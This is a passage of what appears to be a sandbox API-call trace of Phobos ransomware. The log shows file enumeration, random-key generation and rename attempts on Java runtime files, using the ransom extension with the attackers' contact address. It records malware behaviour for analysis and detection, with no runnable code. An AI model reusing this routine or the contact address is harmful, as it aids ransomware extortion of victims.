GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.587] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.587] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.588] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=57408) returned 1 [0150.588] CloseHandle (hObject=0x564) returned 1 [0150.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll")) returned 0x20 [0150.588] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.588] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.588] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.589] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=130624) returned 1 [0150.589] CloseHandle (hObject=0x564) returned 1 [0150.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0150.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.589] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.589] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.682] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=97856) returned 1 [0150.682] CloseHandle (hObject=0x564) returned 1 [0150.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll")) returned 0x20 [0150.682] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.683] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.782] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3306) returned 1 [0150.782] CloseHandle (hObject=0x564) returned 1 [0150.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0150.783] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.783] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.784] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.784] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.787] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3600) returned 1 [0150.787] CloseHandle (hObject=0x564) returned 1 [0150.787] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0150.788] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.788] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.788] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.789] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3409) returned 1 [0150.789] CloseHandle (hObject=0x564) returned 1 [0150.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0150.789] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.789] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.790] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.790] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3223) returned 1 [0150.790] CloseHandle (hObject=0x564) returned 1 [0150.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties")) returned 0x20 [0150.791] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_it.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.791] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.791] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.793] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=6349) returned 1 [0150.793] CloseHandle (hObject=0x564) returned 1 [0150.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties")) returned 0x20 [0150.793] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ja.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.794] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.794] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.795] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5712) returned 1 [0150.795] CloseHandle (hObject=0x564) returned 1 [0150.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties")) returned 0x20 [0150.795] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.795] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_ko.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.796] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.796] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.797] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3285) returned 1 [0150.797] CloseHandle (hObject=0x564) returned 1 [0150.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20 [0150.797] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.798] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.799] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3409) returned 1 [0150.799] CloseHandle (hObject=0x564) returned 1 [0150.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20 [0150.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.799] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.800] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=4072) returned 1 [0150.800] CloseHandle (hObject=0x564) returned 1 [0150.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0150.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.801] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.802] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3752) returned 1 [0150.802] CloseHandle (hObject=0x564) returned 1 [0150.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0150.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.803] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.803] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.803] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=3752) returned 1 [0150.804] CloseHandle (hObject=0x564) returned 1 [0150.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties")) returned 0x20 [0150.804] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.804] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_TW.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_tw.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.804] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.807] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.809] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=5040094) returned 1 [0150.809] CloseHandle (hObject=0x564) returned 1 [0150.809] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0x20 [0150.810] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0 [0150.810] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy.jar")) returned 0 [0150.810] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.810] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.813] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=188024) returned 1 [0150.813] CloseHandle (hObject=0x564) returned 1 [0150.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar")) returned 0x20 [0150.813] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\access-bridge-64.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.813] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0150.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program 